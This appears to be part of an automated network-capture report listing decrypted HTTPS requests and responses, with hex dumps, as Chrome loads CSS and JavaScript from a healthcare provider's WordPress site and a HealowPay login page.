Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:52 UTC	749	OUT	GET /wp-content/themes/vpchc/dist/vendor.css?ver=240312-55111 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:53 UTC	418	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:53 GMT Content-Type: text/css Content-Length: 109463 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 12 Mar 2024 05:51:11 GMT Vary: Accept-Encoding ETag: "65efed4f-1ab97" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:53 UTC	15966	IN	Data Raw: 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 75 72 61 74 69 6f 6e 3d 22 35 30 22 5d 2c 0d 0a 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 64 75 72 61 74 69 6f 6e 3d 22 35 30 22 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 35 30 6d 73 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 35 30 6d 73 0d 0a 7d 0d 0a 0d 0a 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 35 30 22 5d 2c 0d 0a 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 35 30 22 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 20 7b 0d 0a 20 20 20 20 2d Data Ascii: [data-aos][data-aos][data-aos-duration="50"],body[data-aos-duration="50"] [data-aos] { -webkit-transition-duration: 50ms; transition-duration: 50ms}[data-aos][data-aos][data-aos-delay="50"],body[data-aos-delay="50"] [data-aos] { -
2024-04-24 12:44:53 UTC	16384	IN	Data Raw: 2e 61 6f 73 2d 61 6e 69 6d 61 74 65 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 31 2e 36 73 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 31 2e 36 73 0d 0a 7d 0d 0a 0d 0a 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 75 72 61 74 69 6f 6e 3d 22 31 36 35 30 22 5d 2c 0d 0a 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 64 75 72 61 74 69 6f 6e 3d 22 31 36 35 30 22 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 2e 36 35 73 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 2e 36 35 73 0d 0a 7d 0d Data Ascii: .aos-animate { -webkit-transition-delay: 1.6s; transition-delay: 1.6s}[data-aos][data-aos][data-aos-duration="1650"],body[data-aos-duration="1650"] [data-aos] { -webkit-transition-duration: 1.65s; transition-duration: 1.65s}
2024-04-24 12:44:53 UTC	16384	IN	Data Raw: 72 28 2e 34 37 2c 20 30 2c 20 2e 37 34 35 2c 20 2e 37 31 35 29 0d 0a 7d 0d 0a 0d 0a 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 65 61 73 69 6e 67 3d 65 61 73 65 2d 6f 75 74 2d 73 69 6e 65 5d 2c 0d 0a 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 65 61 73 69 6e 67 3d 65 61 73 65 2d 6f 75 74 2d 73 69 6e 65 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 33 39 2c 20 2e 35 37 35 2c 20 2e 35 36 35 2c 20 31 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 33 39 Data Ascii: r(.47, 0, .745, .715)}[data-aos][data-aos][data-aos-easing=ease-out-sine],body[data-aos-easing=ease-out-sine] [data-aos] { -webkit-transition-timing-function: cubic-bezier(.39, .575, .565, 1); transition-timing-function: cubic-bezier(.39
2024-04-24 12:44:53 UTC	16384	IN	Data Raw: 78 2d 6d 6f 62 69 6c 65 20 2e 67 6c 69 67 68 74 62 6f 78 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 67 73 6c 69 64 65 2d 64 65 73 63 20 2e 64 65 73 63 2d 6d 6f 72 65 20 7b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 2e 34 0d 0a 7d 0d 0a 0d 0a 2e 67 64 65 73 63 2d 6f 70 65 6e 20 2e 67 73 6c 69 64 65 2d 6d 65 64 69 61 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 2e 35 73 20 65 61 73 65 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 2e 35 73 20 65 61 73 65 3b 0d 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 2e 34 0d 0a 7d 0d 0a 0d 0a 2e 67 64 65 73 63 2d 6f 70 65 6e 20 2e 67 64 65 73 63 2d 69 6e 6e 65 72 20 7b 0d 0a 20 Data Ascii: x-mobile .glightbox-container .gslide-desc .desc-more { color: #fff; opacity: .4}.gdesc-open .gslide-media { -webkit-transition: opacity .5s ease; transition: opacity .5s ease; opacity: .4}.gdesc-open .gdesc-inner {
2024-04-24 12:44:53 UTC	16384	IN	Data Raw: 67 65 72 2d 2d 73 70 69 6e 20 62 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 33 29 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 2e 32 73 2c 20 30 73 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 2e 32 73 2c 20 30 73 0d 0a 7d 0d 0a 0d 0a 2e 6d 6d 2d 77 72 61 70 70 65 72 5f 6f 70 65 6e 65 64 20 2e 6d 62 75 72 67 65 72 2d 2d 73 70 69 6e 20 62 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 31 33 35 64 65 67 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 31 33 35 64 65 67 29 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 64 Data Ascii: ger--spin b:nth-of-type(3) { -webkit-transition-delay: .2s, 0s; transition-delay: .2s, 0s}.mm-wrapper_opened .mburger--spin b:first-of-type { -webkit-transform: rotate(135deg); transform: rotate(135deg); -webkit-transition-d
2024-04-24 12:44:53 UTC	16384	IN	Data Raw: 6e 73 70 61 72 65 6e 74 20 76 61 72 28 2d 2d 76 61 6c 75 65 2c 20 30 29 29 0d 0a 7d 0d 0a 0d 0a 2e 70 6c 79 72 2d 2d 66 75 6c 6c 2d 75 69 20 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 6e 67 65 5d 3a 3a 2d 77 65 62 6b 69 74 2d 73 6c 69 64 65 72 2d 74 68 75 6d 62 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 70 6c 79 72 2d 72 61 6e 67 65 2d 74 68 75 6d 62 2d 62 61 63 6b 67 72 6f 75 6e 64 2c 20 23 66 66 66 29 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 76 61 72 28 2d 2d 70 6c 79 72 2d 72 61 6e 67 65 2d 74 68 75 6d 62 2d 73 68 61 64 6f 77 2c 20 30 20 31 70 78 20 31 70 78 20 72 67 62 61 28 33 35 Data Ascii: nsparent var(--value, 0))}.plyr--full-ui input[type=range]::-webkit-slider-thumb { background: var(--plyr-range-thumb-background, #fff); border: 0; border-radius: 100%; box-shadow: var(--plyr-range-thumb-shadow, 0 1px 1px rgba(35
2024-04-24 12:44:53 UTC	11577	IN	Data Raw: 72 2d 72 61 6e 67 65 2d 74 68 75 6d 62 2d 73 68 61 64 6f 77 2c 20 30 20 31 70 78 20 31 70 78 20 72 67 62 61 28 33 35 2c 20 34 30 2c 20 34 37 2c 20 2e 31 35 29 2c 20 30 20 30 20 30 20 31 70 78 20 72 67 62 61 28 33 35 2c 20 34 30 2c 20 34 37 2c 20 2e 32 29 29 2c 20 30 20 30 20 30 20 76 61 72 28 2d 2d 70 6c 79 72 2d 72 61 6e 67 65 2d 74 68 75 6d 62 2d 61 63 74 69 76 65 2d 73 68 61 64 6f 77 2d 77 69 64 74 68 2c 20 33 70 78 29 20 76 61 72 28 2d 2d 70 6c 79 72 2d 61 75 64 69 6f 2d 72 61 6e 67 65 2d 74 68 75 6d 62 2d 61 63 74 69 76 65 2d 73 68 61 64 6f 77 2d 63 6f 6c 6f 72 2c 20 68 73 6c 61 28 30 2c 20 30 25 2c 20 31 30 30 25 2c 20 2e 35 29 29 0d 0a 7d 0d 0a 0d 0a 2e 70 6c 79 72 2d 2d 66 75 6c 6c 2d 75 69 2e 70 6c 79 72 2d 2d 76 69 64 65 6f 20 69 6e 70 75 74 5b Data Ascii: r-range-thumb-shadow, 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2)), 0 0 0 var(--plyr-range-thumb-active-shadow-width, 3px) var(--plyr-audio-range-thumb-active-shadow-color, hsla(0, 0%, 100%, .5))}.plyr--full-ui.plyr--video input[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49960	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:53 UTC	732	OUT	GET /wp-content/themes/vpchc/dist/custom.css HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:53 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:53 GMT Content-Type: text/css Content-Length: 4291 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 23 Apr 2024 07:34:01 GMT Vary: Accept-Encoding ETag: "66276469-10c3" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:53 UTC	4291	IN	Data Raw: 2f 2a 20 47 6f 6f 67 6c 65 20 72 65 76 69 65 77 73 20 73 6c 69 64 65 72 20 2a 2f 0d 0a 2e 72 65 76 69 65 77 5f 73 65 63 74 69 6f 6e 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 34 70 78 3b 0d 0a 7d 0d 0a 2e 72 65 76 69 65 77 73 5f 73 65 63 74 69 6f 6e 5f 74 69 74 6c 65 20 68 34 2e 72 65 76 69 65 77 73 5f 74 69 74 6c 65 20 7b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 30 70 78 3b 0d 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 23 30 65 31 65 34 64 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 38 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 2e 73 65 63 74 69 6f 6e 2d 67 6f 6f 67 6c 65 2d 72 65 76 69 65 77 73 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 31 35 70 78 Data Ascii: /* Google reviews slider */.review_section { margin-top: 24px;}.reviews_section_title h4.reviews_title { font-size: 20px; line-height: 24px; color: #0e1e4d; margin-bottom: 8px !important;}.section-google-reviews { padding: 15px

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49961	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:53 UTC	771	OUT	GET /wp-content/plugins/Valley-Pro-Calculator/public/js/valley-pro-calculator-public.js?ver=1.0.0 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:53 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:53 GMT Content-Type: application/javascript Content-Length: 838 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 11 Mar 2024 12:43:21 GMT Vary: Accept-Encoding ETag: "65eefc69-346" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:53 UTC	838	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0a 09 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 09 2f 2a 2a 0a 09 20 2a 20 41 6c 6c 20 6f 66 20 74 68 65 20 63 6f 64 65 20 66 6f 72 20 79 6f 75 72 20 70 75 62 6c 69 63 2d 66 61 63 69 6e 67 20 4a 61 76 61 53 63 72 69 70 74 20 73 6f 75 72 63 65 0a 09 20 2a 20 73 68 6f 75 6c 64 20 72 65 73 69 64 65 20 69 6e 20 74 68 69 73 20 66 69 6c 65 2e 0a 09 20 2a 0a 09 20 2a 20 4e 6f 74 65 3a 20 49 74 20 68 61 73 20 62 65 65 6e 20 61 73 73 75 6d 65 64 20 79 6f 75 20 77 69 6c 6c 20 77 72 69 74 65 20 6a 51 75 65 72 79 20 63 6f 64 65 20 68 65 72 65 2c 20 73 6f 20 74 68 65 0a 09 20 2a 20 24 20 66 75 6e 63 74 69 6f 6e 20 72 65 66 65 72 65 6e 63 65 20 68 61 73 20 62 65 65 6e 20 70 72 65 70 61 72 65 64 20 66 6f 72 20 75 73 61 Data Ascii: (function( $ ) {'use strict';/** * All of the code for your public-facing JavaScript source * should reside in this file. * * Note: It has been assumed you will write jQuery code here, so the * $ function reference has been prepared for usa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49962	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:53 UTC	670	OUT	GET /HealowPay/jsp/healow/login.jsp HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:54 UTC	1728	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:53 GMT Content-Type: text/html;charset=ISO-8859-1 Transfer-Encoding: chunked Connection: close Set-Cookie: ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; Path=/; SameSite=None; Secure Set-Cookie: ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4; Path=/ X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() pragma: no-store,no-cache cache-control: no-cache, no-store,must-revalidate, max-age=-1 expires: -1 Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Set-Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; Path=/HealowPay; HttpOnly;SameSite=Strict vary: accept-encoding Server:
2024-04-24 12:44:54 UTC	14656	IN	Data Raw: 39 65 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 2d 65 64 67 65 Data Ascii: 9e8<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta http-equiv="X-UA-Compatible" content="IE-edge
2024-04-24 12:44:54 UTC	1406	IN	Data Raw: 2f 65 6d 3e 3c 73 70 61 6e 20 69 64 3d 22 6f 74 70 41 74 74 65 6d 70 74 73 22 20 72 6f 6c 65 3d 22 61 6c 65 72 74 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 31 32 20 63 6f 6c 2d 6d 64 2d 36 22 3e 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 Data Ascii: /em><span id="otpAttempts" role="alert"></span></p></div></div></div></div><div class="col-12 col-md-6"></div></div></div></div></div></div>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49964	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:53 UTC	750	OUT	GET /wp-content/plugins/bt_cost_calculator/bold-builder-light/bt-bb-light.js HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:53 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:53 GMT Content-Type: application/javascript Content-Length: 1713 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sat, 18 Nov 2023 02:40:41 GMT Vary: Accept-Encoding ETag: "65582429-6b1" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:53 UTC	1713	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0d 0a 09 0d 0a 09 76 61 72 20 73 65 74 5f 72 65 73 70 6f 6e 73 69 76 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 76 61 72 20 77 69 64 74 68 20 3d 20 4d 61 74 68 2e 6d 61 78 28 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 2c 20 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 20 7c 7c 20 30 20 29 3b 0d 0a 09 09 76 61 72 20 72 65 73 20 3d 20 27 78 78 6c 27 3b 0d 0a 09 09 69 66 20 28 20 77 69 64 74 68 20 3c 3d 20 31 34 30 30 20 29 20 72 65 73 20 3d 20 27 78 6c 27 3b 0d 0a 09 09 69 66 20 28 20 77 69 64 74 68 20 3c 3d 20 31 32 30 30 20 29 20 72 65 73 20 3d 20 27 6c 67 27 3b 0d 0a 09 09 69 66 20 28 20 77 69 64 74 68 20 3c 3d 20 39 Data Ascii: (function( $ ) {var set_responsive = function() {var width = Math.max( document.documentElement.clientWidth, window.innerWidth \|\| 0 );var res = 'xxl';if ( width <= 1400 ) res = 'xl';if ( width <= 1200 ) res = 'lg';if ( width <= 9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49965	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:54 UTC	729	OUT	GET /wp-content/plugins/bt_cost_calculator/jquery.dd.js HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:54 UTC	430	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:54 GMT Content-Type: application/javascript Content-Length: 52048 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sat, 18 Nov 2023 02:40:41 GMT Vary: Accept-Encoding ETag: "65582429-cb50" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:54 UTC	15954	IN	Data Raw: 2f 2f 20 4d 53 44 72 6f 70 44 6f 77 6e 20 2d 20 6a 71 75 65 72 79 2e 64 64 2e 6a 73 0d 0a 2f 2f 20 61 75 74 68 6f 72 3a 20 4d 61 72 67 68 6f 6f 62 20 53 75 6c 65 6d 61 6e 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 61 72 67 68 6f 6f 62 73 75 6c 65 6d 61 6e 2e 63 6f 6d 2f 0d 0a 2f 2f 20 44 61 74 65 3a 20 31 30 20 4e 6f 76 2c 20 32 30 31 32 0d 0a 2f 2f 20 56 65 72 73 69 6f 6e 3a 20 33 2e 32 0d 0a 2f 2f 20 52 65 76 69 73 69 6f 6e 3a 20 32 31 0d 0a 2f 2f 20 77 65 62 3a 20 77 77 77 2e 6d 61 72 67 68 6f 6f 62 73 75 6c 65 6d 61 6e 2e 63 6f 6d 0d 0a 2f 2a 0d 0a 2f 2f 20 6d 73 44 72 6f 70 44 6f 77 6e 20 69 73 20 66 72 65 65 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 3a 20 79 6f 75 20 63 61 6e 20 72 65 64 69 73 74 72 69 62 75 74 65 20 69 74 20 61 6e 64 2f 6f 72 20 Data Ascii: // MSDropDown - jquery.dd.js// author: Marghoob Suleman - http://www.marghoobsuleman.com/// Date: 10 Nov, 2012// Version: 3.2// Revision: 21// web: www.marghoobsuleman.com/*// msDropDown is free jQuery Plugin: you can redistribute it and/or
